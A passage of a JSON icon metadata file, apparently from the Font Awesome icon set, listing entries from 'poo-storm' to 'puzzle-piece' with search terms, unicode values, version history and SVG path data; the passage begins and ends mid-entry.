        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M268.9 .9c-5.5-.7-11 1.4-14.5 5.7s-4.6 10.1-2.8 15.4c2.8 8.2 4.3 16.9 4.3 26.1c0 44.1-35.7 79.9-79.8 80H160c-35.3 0-64 28.7-64 64c0 19.1 8.4 36.3 21.7 48H104c-39.8 0-72 32.2-72 72c0 23.2 11 43.8 28 57c-34.1 5.7-60 35.3-60 71c0 39.8 32.2 72 72 72H440c39.8 0 72-32.2 72-72c0-35.7-25.9-65.3-60-71c17-13.2 28-33.8 28-57c0-39.8-32.2-72-72-72H394.3c13.3-11.7 21.7-28.9 21.7-48c0-35.3-28.7-64-64-64h-5.5c3.5-10 5.5-20.8 5.5-32c0-48.6-36.2-88.8-83.1-95.1zM192 256a32 32 0 1 1 0 64 32 32 0 1 1 0-64zm96 32a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm64 108.3c0 2.4-.7 4.8-2.2 6.7c-8.2 10.5-39.5 45-93.8 45s-85.6-34.6-93.8-45c-1.5-1.9-2.2-4.3-2.2-6.7c0-6.8 5.5-12.3 12.3-12.3H339.7c6.8 0 12.3 5.5 12.3 12.3z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M268.9 .9c-5.5-.7-11 1.4-14.5 5.7s-4.6 10.1-2.8 15.4c2.8 8.2 4.3 16.9 4.3 26.1c0 44.1-35.7 79.9-79.8 80H160c-35.3 0-64 28.7-64 64c0 19.1 8.4 36.3 21.7 48H104c-39.8 0-72 32.2-72 72c0 23.2 11 43.8 28 57c-34.1 5.7-60 35.3-60 71c0 39.8 32.2 72 72 72H440c39.8 0 72-32.2 72-72c0-35.7-25.9-65.3-60-71c17-13.2 28-33.8 28-57c0-39.8-32.2-72-72-72H394.3c13.3-11.7 21.7-28.9 21.7-48c0-35.3-28.7-64-64-64h-5.5c3.5-10 5.5-20.8 5.5-32c0-48.6-36.2-88.8-83.1-95.1zM192 256a32 32 0 1 1 0 64 32 32 0 1 1 0-64zm96 32a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm64 108.3c0 2.4-.7 4.8-2.2 6.7c-8.2 10.5-39.5 45-93.8 45s-85.6-34.6-93.8-45c-1.5-1.9-2.2-4.3-2.2-6.7c0-6.8 5.5-12.3 12.3-12.3H339.7c6.8 0 12.3 5.5 12.3 12.3z"
      }
    },
    "free": ["solid"]
  },
  "poo-storm": {
    "aliases": {
      "names": ["poo-bolt"],
      "unicodes": {
        "secondary": ["10f75a"]
      }
    },
    "changes": ["5.5.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "bolt",
        "cloud",
        "euphemism",
        "lightning",
        "mess",
        "poop",
        "shit",
        "turd"
      ]
    },
    "styles": ["solid"],
    "unicode": "f75a",
    "label": "Poo Storm",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767662,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M236.9 .2c-5.5-.7-11 1.4-14.5 5.7s-4.6 10.1-2.8 15.3c2.8 8.2 4.3 16.9 4.3 26.1c0 21.7-8.5 37.2-21.9 47.6c-13.8 10.8-34 17-57.8 17H128c-35.3 0-64 28.7-64 64c0 12.2 3.4 23.5 9.3 33.2C31.7 216.2 0 252.4 0 296c0 41 28 75.4 65.8 85.2c-5.3-18.5 1-38.5 16.2-50.7l160-128c17.6-14.1 42.6-14 60.2 .2s22.8 38.6 12.8 58.8L285.7 320H304c20.4 0 38.5 12.9 45.3 32.1c3.7 10.6 3.5 21.8 0 31.9H360c48.6 0 88-39.4 88-88c0-43.6-31.7-79.8-73.3-86.8c5.9-9.7 9.3-21.1 9.3-33.2c0-35.3-28.7-64-64-64h-1.4c.9-5.4 1.4-10.9 1.4-16.6c0-48.7-36.1-88.9-83.1-95.2zm45.1 227.4c-5.8-4.7-14.2-4.7-20.1-.1l-160 128c-5.3 4.2-7.4 11.4-5.1 17.8s8.3 10.7 15.1 10.7h70.1L129.7 488.8c-3.4 6.7-1.6 14.9 4.3 19.6s14.2 4.7 20.1 .1l160-128c5.3-4.2 7.4-11.4 5.1-17.8s-8.3-10.7-15.1-10.7H233.9l52.4-104.8c3.4-6.7 1.6-14.9-4.3-19.6z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M236.9 .2c-5.5-.7-11 1.4-14.5 5.7s-4.6 10.1-2.8 15.3c2.8 8.2 4.3 16.9 4.3 26.1c0 21.7-8.5 37.2-21.9 47.6c-13.8 10.8-34 17-57.8 17H128c-35.3 0-64 28.7-64 64c0 12.2 3.4 23.5 9.3 33.2C31.7 216.2 0 252.4 0 296c0 41 28 75.4 65.8 85.2c-5.3-18.5 1-38.5 16.2-50.7l160-128c17.6-14.1 42.6-14 60.2 .2s22.8 38.6 12.8 58.8L285.7 320H304c20.4 0 38.5 12.9 45.3 32.1c3.7 10.6 3.5 21.8 0 31.9H360c48.6 0 88-39.4 88-88c0-43.6-31.7-79.8-73.3-86.8c5.9-9.7 9.3-21.1 9.3-33.2c0-35.3-28.7-64-64-64h-1.4c.9-5.4 1.4-10.9 1.4-16.6c0-48.7-36.1-88.9-83.1-95.2zm45.1 227.4c-5.8-4.7-14.2-4.7-20.1-.1l-160 128c-5.3 4.2-7.4 11.4-5.1 17.8s8.3 10.7 15.1 10.7h70.1L129.7 488.8c-3.4 6.7-1.6 14.9 4.3 19.6s14.2 4.7 20.1 .1l160-128c5.3-4.2 7.4-11.4 5.1-17.8s-8.3-10.7-15.1-10.7H233.9l52.4-104.8c3.4-6.7 1.6-14.9-4.3-19.6z"
      }
    },
    "free": ["solid"]
  },
  "poop": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f619"]
      }
    },
    "changes": ["5.2.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0", "6.4.1"],
    "ligatures": [],
    "search": {
      "terms": ["crap", "poop", "shit", "smile", "turd"]
    },
    "styles": ["solid"],
    "unicode": "f619",
    "label": "Poop",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767602,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M254.4 6.6c3.5-4.3 9-6.5 14.5-5.7C315.8 7.2 352 47.4 352 96c0 11.2-1.9 22-5.5 32H352c35.3 0 64 28.7 64 64c0 19.1-8.4 36.3-21.7 48H408c39.8 0 72 32.2 72 72c0 23.2-11 43.8-28 57c34.1 5.7 60 35.3 60 71c0 39.8-32.2 72-72 72H72c-39.8 0-72-32.2-72-72c0-35.7 25.9-65.3 60-71c-17-13.2-28-33.8-28-57c0-39.8 32.2-72 72-72h13.7C104.4 228.3 96 211.1 96 192c0-35.3 28.7-64 64-64h16.2c44.1-.1 79.8-35.9 79.8-80c0-9.2-1.5-17.9-4.3-26.1c-1.8-5.2-.8-11.1 2.8-15.4z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M254.4 6.6c3.5-4.3 9-6.5 14.5-5.7C315.8 7.2 352 47.4 352 96c0 11.2-1.9 22-5.5 32H352c35.3 0 64 28.7 64 64c0 19.1-8.4 36.3-21.7 48H408c39.8 0 72 32.2 72 72c0 23.2-11 43.8-28 57c34.1 5.7 60 35.3 60 71c0 39.8-32.2 72-72 72H72c-39.8 0-72-32.2-72-72c0-35.7 25.9-65.3 60-71c-17-13.2-28-33.8-28-57c0-39.8 32.2-72 72-72h13.7C104.4 228.3 96 211.1 96 192c0-35.3 28.7-64 64-64h16.2c44.1-.1 79.8-35.9 79.8-80c0-9.2-1.5-17.9-4.3-26.1c-1.8-5.2-.8-11.1 2.8-15.4z"
      }
    },
    "free": ["solid"]
  },
  "power-off": {
    "aliases": {
      "unicodes": {
        "composite": ["23fb"],
        "secondary": ["10f011"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["Power Symbol", "cancel", "computer", "on", "reboot", "restart"]
    },
    "styles": ["solid"],
    "unicode": "f011",
    "label": "Power Off",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767551,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M288 32c0-17.7-14.3-32-32-32s-32 14.3-32 32V256c0 17.7 14.3 32 32 32s32-14.3 32-32V32zM143.5 120.6c13.6-11.3 15.4-31.5 4.1-45.1s-31.5-15.4-45.1-4.1C49.7 115.4 16 181.8 16 256c0 132.5 107.5 240 240 240s240-107.5 240-240c0-74.2-33.8-140.6-86.6-184.6c-13.6-11.3-33.8-9.4-45.1 4.1s-9.4 33.8 4.1 45.1c38.9 32.3 63.5 81 63.5 135.4c0 97.2-78.8 176-176 176s-176-78.8-176-176c0-54.4 24.7-103.1 63.5-135.4z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M288 32c0-17.7-14.3-32-32-32s-32 14.3-32 32V256c0 17.7 14.3 32 32 32s32-14.3 32-32V32zM143.5 120.6c13.6-11.3 15.4-31.5 4.1-45.1s-31.5-15.4-45.1-4.1C49.7 115.4 16 181.8 16 256c0 132.5 107.5 240 240 240s240-107.5 240-240c0-74.2-33.8-140.6-86.6-184.6c-13.6-11.3-33.8-9.4-45.1 4.1s-9.4 33.8 4.1 45.1c38.9 32.3 63.5 81 63.5 135.4c0 97.2-78.8 176-176 176s-176-78.8-176-176c0-54.4 24.7-103.1 63.5-135.4z"
      }
    },
    "free": ["solid"]
  },
  "prescription": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f5b1"]
      }
    },
    "changes": ["5.1.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["drugs", "medical", "medicine", "pharmacy", "rx"]
    },
    "styles": ["solid"],
    "unicode": "f5b1",
    "label": "Prescription",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766750,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M32 0C14.3 0 0 14.3 0 32V192v96c0 17.7 14.3 32 32 32s32-14.3 32-32V224h50.7l128 128L137.4 457.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L288 397.3 393.4 502.6c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3L333.3 352 438.6 246.6c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0L288 306.7l-85.8-85.8C251.4 209.1 288 164.8 288 112C288 50.1 237.9 0 176 0H32zM176 160H64V64H176c26.5 0 48 21.5 48 48s-21.5 48-48 48z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M32 0C14.3 0 0 14.3 0 32V192v96c0 17.7 14.3 32 32 32s32-14.3 32-32V224h50.7l128 128L137.4 457.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L288 397.3 393.4 502.6c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3L333.3 352 438.6 246.6c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0L288 306.7l-85.8-85.8C251.4 209.1 288 164.8 288 112C288 50.1 237.9 0 176 0H32zM176 160H64V64H176c26.5 0 48 21.5 48 48s-21.5 48-48 48z"
      }
    },
    "free": ["solid"]
  },
  "prescription-bottle": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f485"]
      }
    },
    "changes": ["5.0.7", "6.0.0-beta1", "6.2.0", "6.2.1", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["drugs", "medical", "medicine", "pharmacy", "rx"]
    },
    "styles": ["solid"],
    "unicode": "f485",
    "label": "Prescription Bottle",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766751,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M0 32C0 14.3 14.3 0 32 0H352c17.7 0 32 14.3 32 32V64c0 17.7-14.3 32-32 32H32C14.3 96 0 81.7 0 64V32zm32 96H352V448c0 35.3-28.7 64-64 64H96c-35.3 0-64-28.7-64-64V416H144c8.8 0 16-7.2 16-16s-7.2-16-16-16H32V320H144c8.8 0 16-7.2 16-16s-7.2-16-16-16H32V224H144c8.8 0 16-7.2 16-16s-7.2-16-16-16H32V128z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M0 32C0 14.3 14.3 0 32 0H352c17.7 0 32 14.3 32 32V64c0 17.7-14.3 32-32 32H32C14.3 96 0 81.7 0 64V32zm32 96H352V448c0 35.3-28.7 64-64 64H96c-35.3 0-64-28.7-64-64V416H144c8.8 0 16-7.2 16-16s-7.2-16-16-16H32V320H144c8.8 0 16-7.2 16-16s-7.2-16-16-16H32V224H144c8.8 0 16-7.2 16-16s-7.2-16-16-16H32V128z"
      }
    },
    "free": ["solid"]
  },
  "prescription-bottle-medical": {
    "aliases": {
      "names": ["prescription-bottle-alt"],
      "unicodes": {
        "secondary": ["10f486"]
      }
    },
    "changes": ["5.0.7", "6.0.0-beta1", "6.2.0", "6.2.1", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["drugs", "medical", "medicine", "pharmacy", "rx"]
    },
    "styles": ["solid"],
    "unicode": "f486",
    "label": "Prescription Bottle Medical",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766750,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M0 32C0 14.3 14.3 0 32 0H352c17.7 0 32 14.3 32 32V64c0 17.7-14.3 32-32 32H32C14.3 96 0 81.7 0 64V32zm32 96H352V448c0 35.3-28.7 64-64 64H96c-35.3 0-64-28.7-64-64V128zM160 240v48H112c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h48v48c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V352h48c8.8 0 16-7.2 16-16V304c0-8.8-7.2-16-16-16H224V240c0-8.8-7.2-16-16-16H176c-8.8 0-16 7.2-16 16z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M0 32C0 14.3 14.3 0 32 0H352c17.7 0 32 14.3 32 32V64c0 17.7-14.3 32-32 32H32C14.3 96 0 81.7 0 64V32zm32 96H352V448c0 35.3-28.7 64-64 64H96c-35.3 0-64-28.7-64-64V128zM160 240v48H112c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h48v48c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V352h48c8.8 0 16-7.2 16-16V304c0-8.8-7.2-16-16-16H224V240c0-8.8-7.2-16-16-16H176c-8.8 0-16 7.2-16 16z"
      }
    },
    "free": ["solid"]
  },
  "print": {
    "aliases": {
      "unicodes": {
        "composite": ["1f5a8", "1f5b6", "2399"],
        "secondary": ["10f02f"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.3.0",
      "5.11.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "Print Screen Symbol",
        "Printer Icon",
        "business",
        "computer",
        "copy",
        "document",
        "office",
        "paper",
        "printer"
      ]
    },
    "styles": ["solid"],
    "unicode": "f02f",
    "label": "Print",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767341,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M128 0C92.7 0 64 28.7 64 64v96h64V64H354.7L384 93.3V160h64V93.3c0-17-6.7-33.3-18.7-45.3L400 18.7C388 6.7 371.7 0 354.7 0H128zM384 352v32 64H128V384 368 352H384zm64 32h32c17.7 0 32-14.3 32-32V256c0-35.3-28.7-64-64-64H64c-35.3 0-64 28.7-64 64v96c0 17.7 14.3 32 32 32H64v64c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V384zM432 248a24 24 0 1 1 0 48 24 24 0 1 1 0-48z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M128 0C92.7 0 64 28.7 64 64v96h64V64H354.7L384 93.3V160h64V93.3c0-17-6.7-33.3-18.7-45.3L400 18.7C388 6.7 371.7 0 354.7 0H128zM384 352v32 64H128V384 368 352H384zm64 32h32c17.7 0 32-14.3 32-32V256c0-35.3-28.7-64-64-64H64c-35.3 0-64 28.7-64 64v96c0 17.7 14.3 32 32 32H64v64c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V384zM432 248a24 24 0 1 1 0 48 24 24 0 1 1 0-48z"
      }
    },
    "free": ["solid"]
  },
  "product-hunt": {
    "changes": ["4.5.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f288",
    "label": "Product Hunt",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014473,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M326.3 218.8c0 20.5-16.7 37.2-37.2 37.2h-70.3v-74.4h70.3c20.5 0 37.2 16.7 37.2 37.2zM504 256c0 137-111 248-248 248S8 393 8 256 119 8 256 8s248 111 248 248zm-128.1-37.2c0-47.9-38.9-86.8-86.8-86.8H169.2v248h49.6v-74.4h70.3c47.9 0 86.8-38.9 86.8-86.8z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M326.3 218.8c0 20.5-16.7 37.2-37.2 37.2h-70.3v-74.4h70.3c20.5 0 37.2 16.7 37.2 37.2zM504 256c0 137-111 248-248 248S8 393 8 256 119 8 256 8s248 111 248 248zm-128.1-37.2c0-47.9-38.9-86.8-86.8-86.8H169.2v248h49.6v-74.4h70.3c47.9 0 86.8-38.9 86.8-86.8z"
      }
    },
    "free": ["brands"]
  },
  "pump-medical": {
    "aliases": {
      "unicodes": {
        "secondary": ["10e06a"]
      }
    },
    "changes": ["5.13.0", "5.14.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "anti-bacterial",
        "clean",
        "covid-19",
        "disinfect",
        "hygiene",
        "medical grade",
        "sanitizer",
        "soap"
      ]
    },
    "styles": ["solid"],
    "unicode": "e06a",
    "label": "Pump Medical",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767444,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M128 32v96H256V96h60.1c4.2 0 8.3 1.7 11.3 4.7l33.9 33.9c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3L372.7 55.4c-15-15-35.4-23.4-56.6-23.4H256c0-17.7-14.3-32-32-32H160c-17.7 0-32 14.3-32 32zM117.4 160c-33.3 0-61 25.5-63.8 58.7L35 442.7C31.9 480 61.3 512 98.8 512H285.2c37.4 0 66.9-32 63.8-69.3l-18.7-224c-2.8-33.2-30.5-58.7-63.8-58.7H117.4zM216 280v32h32c13.3 0 24 10.7 24 24s-10.7 24-24 24H216v32c0 13.3-10.7 24-24 24s-24-10.7-24-24V360H136c-13.3 0-24-10.7-24-24s10.7-24 24-24h32V280c0-13.3 10.7-24 24-24s24 10.7 24 24z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M128 32v96H256V96h60.1c4.2 0 8.3 1.7 11.3 4.7l33.9 33.9c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3L372.7 55.4c-15-15-35.4-23.4-56.6-23.4H256c0-17.7-14.3-32-32-32H160c-17.7 0-32 14.3-32 32zM117.4 160c-33.3 0-61 25.5-63.8 58.7L35 442.7C31.9 480 61.3 512 98.8 512H285.2c37.4 0 66.9-32 63.8-69.3l-18.7-224c-2.8-33.2-30.5-58.7-63.8-58.7H117.4zM216 280v32h32c13.3 0 24 10.7 24 24s-10.7 24-24 24H216v32c0 13.3-10.7 24-24 24s-24-10.7-24-24V360H136c-13.3 0-24-10.7-24-24s10.7-24 24-24h32V280c0-13.3 10.7-24 24-24s24 10.7 24 24z"
      }
    },
    "free": ["solid"]
  },
  "pump-soap": {
    "aliases": {
      "unicodes": {
        "secondary": ["10e06b"]
      }
    },
    "changes": ["5.13.0", "5.14.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "anti-bacterial",
        "clean",
        "covid-19",
        "disinfect",
        "hygiene",
        "sanitizer",
        "soap"
      ]
    },
    "styles": ["solid"],
    "unicode": "e06b",
    "label": "Pump Soap",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767441,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M128 32v96H256V96h60.1c4.2 0 8.3 1.7 11.3 4.7l33.9 33.9c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3L372.7 55.4c-15-15-35.4-23.4-56.6-23.4H256c0-17.7-14.3-32-32-32H160c-17.7 0-32 14.3-32 32zM117.4 160c-33.3 0-61 25.5-63.8 58.7L35 442.7C31.9 480 61.3 512 98.8 512H285.2c37.4 0 66.9-32 63.8-69.3l-18.7-224c-2.8-33.2-30.5-58.7-63.8-58.7H117.4zM256 360c0 35.3-28.7 56-64 56s-64-20.7-64-56c0-32.5 37-80.9 50.9-97.9c3.2-3.9 8.1-6.1 13.1-6.1s9.9 2.2 13.1 6.1C219 279.1 256 327.5 256 360z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M128 32v96H256V96h60.1c4.2 0 8.3 1.7 11.3 4.7l33.9 33.9c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3L372.7 55.4c-15-15-35.4-23.4-56.6-23.4H256c0-17.7-14.3-32-32-32H160c-17.7 0-32 14.3-32 32zM117.4 160c-33.3 0-61 25.5-63.8 58.7L35 442.7C31.9 480 61.3 512 98.8 512H285.2c37.4 0 66.9-32 63.8-69.3l-18.7-224c-2.8-33.2-30.5-58.7-63.8-58.7H117.4zM256 360c0 35.3-28.7 56-64 56s-64-20.7-64-56c0-32.5 37-80.9 50.9-97.9c3.2-3.9 8.1-6.1 13.1-6.1s9.9 2.2 13.1 6.1C219 279.1 256 327.5 256 360z"
      }
    },
    "free": ["solid"]
  },
  "pushed": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3e1",
    "label": "Pushed",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014459,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 432 512\"><path d=\"M407 111.9l-98.5-9 14-33.4c10.4-23.5-10.8-40.4-28.7-37L22.5 76.9c-15.1 2.7-26 18.3-21.4 36.6l105.1 348.3c6.5 21.3 36.7 24.2 47.7 7l35.3-80.8 235.2-231.3c16.4-16.8 4.3-42.9-17.4-44.8zM297.6 53.6c5.1-.7 7.5 2.5 5.2 7.4L286 100.9 108.6 84.6l189-31zM22.7 107.9c-3.1-5.1 1-10 6.1-9.1l248.7 22.7-96.9 230.7L22.7 107.9zM136 456.4c-2.6 4-7.9 3.1-9.4-1.2L43.5 179.7l127.7 197.6c-7 15-35.2 79.1-35.2 79.1zm272.8-314.5L210.1 337.3l89.7-213.7 106.4 9.7c4 1.1 5.7 5.3 2.6 8.6z\"/></svg>",
        "viewBox": [0, 0, 432, 512],
        "width": 432,
        "height": 512,
        "path": "M407 111.9l-98.5-9 14-33.4c10.4-23.5-10.8-40.4-28.7-37L22.5 76.9c-15.1 2.7-26 18.3-21.4 36.6l105.1 348.3c6.5 21.3 36.7 24.2 47.7 7l35.3-80.8 235.2-231.3c16.4-16.8 4.3-42.9-17.4-44.8zM297.6 53.6c5.1-.7 7.5 2.5 5.2 7.4L286 100.9 108.6 84.6l189-31zM22.7 107.9c-3.1-5.1 1-10 6.1-9.1l248.7 22.7-96.9 230.7L22.7 107.9zM136 456.4c-2.6 4-7.9 3.1-9.4-1.2L43.5 179.7l127.7 197.6c-7 15-35.2 79.1-35.2 79.1zm272.8-314.5L210.1 337.3l89.7-213.7 106.4 9.7c4 1.1 5.7 5.3 2.6 8.6z"
      }
    },
    "free": ["brands"]
  },
  "puzzle-piece": {
    "aliases": {
      "unicodes": {
        "composite": ["1f9e9"],
        "secondary": ["10f12e"]
      }
    },
    "changes": [
      "3.1.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0",
      "6.4.1"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "add-on",
        "addon",
        "clue",
        "game",
        "interlocking",
        "jigsaw",
        "piece",
        "puzzle",
        "puzzle piece",
        "section"
      ]
    },
    "styles": ["solid"],
    "unicode": "f12e",
    "label": "Puzzle Piece",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767071,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M192 104.8c0-9.2-5.8-17.3-13.2-22.8C167.2 73.3 160 61.3 160 48c0-26.5 28.7-48 64-48s64 21.5 64 48c0 13.3-7.2 25.3-18.8 34c-7.4 5.5-13.2 13.6-13.2 22.8v0c0 12.8 10.4 23.2 23.2 23.2H336c26.5 0 48 21.5 48 48v56.8c0 12.8 10.4 23.2 23.2 23.2v0c9.2 0 17.3-5.8 22.8-13.2c8.7-11.6 20.7-18.8 34-18.8c26.5 0 48 28.7 48 64s-21.5 64-48 64c-13.3 0-25.3-7.2-34-18.8c-5.5-7.4-13.6-13.2-22.8-13.2v0c-12.8 0-23.2 10.4-23.2 23.2V464c0 26.5-21.5 48-48 48H279.2c-12.8 0-23.2-10.4-23.2-23.2v0c0-9.2 5.8-17.3 13.2-22.8c11.6-8.7 18.8-20.7 18.8-34c0-26.5-28.7-48-64-48s-64 21.5-64 48c0 13.3 7.2 25.3 18.8 34c7.4 5.5 13.2 13.6 13.2 22.8v0c0 12.8-10.4 23.2-23.2 23.2H48c-26.5 0-48-21.5-48-48V343.2C0 330.4 10.4 320 23.2 320v0c9.2 0 17.3 5.8 22.8 13.2C54.7 344.8 66.7 352 80 352c26.5 0 48-28.7 48-64s-21.5-64-48-64c-13.3 0-25.3 7.2-34 18.8C40.5 250.2 32.4 256 23.2 256v0C10.4 256 0 245.6 0 232.8V176c0-26.5 21.5-48 48-48H168.8c12.8 0 23.2-10.4 23.2-23.2v0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M192 104.8c0-9.2-5.8-17.3-13.2-22.8C167.2 73.3 160 61.3 160 48c0-26.5 28.7-48 64-48s64 21.5 64 48c0 13.3-7.2 25.3-18.8 34c-7.4 5.5-13.2 13.6-13.2 22.8v0c0 12.8 10.4 23.2 23.2 23.2H336c26.5 0 48 21.5 48 48v56.8c0 12.8 10.4 23.2 23.2 23.2v0c9.2 0 17.3-5.8 22.8-13.2c8.7-11.6 20.7-18.8 34-18.8c26.5 0 48 28.7 48 64s-21.5 64-48 64c-13.3 0-25.3-7.2-34-18.8c-5.5-7.4-13.6-13.2-22.8-13.2v0c-12.8 0-23.2 10.4-23.2 23.2V464c0 26.5-21.5 48-48 48H279.2c-12.8 0-23.2-10.4-23.2-23.2v0c0-9.2 5.8-17.3 13.2-22.8c11.6-8.7 18.8-20.7 18.8-34c0-26.5-28.7-48-64-48s-64 21.5-64 48c0 13.3 7.2 25.3 18.8 34c7.4 5.5 13.2 13.6 13.2 22.8v0c0 12.8-10.4 23.2-23.2 23.2H48c-26.5 0-48-21.5-48-48V343.2C0 330.4 10.4 320 23.2 320v0c9.2 0 17.3 5.8 22.8 13.2C54.7 344.8 66.7 352 80 352c26.5 0 48-28.7 48-64s-21.5-64-48-64c-13.3 0-25.3 7.2-34 18.8C40.5 250.2 32.4 256 23.2 256v0C10.4 256 0 245.6 0 232.8V176c0-26.5 21.5-48 48-48H168.8c12.8 0 23.2-10.4 23.2-23.2v0z"
      }
    },
    "free": ["solid"]
  },
  "python": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3e2",
    "label": "Python",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014462,
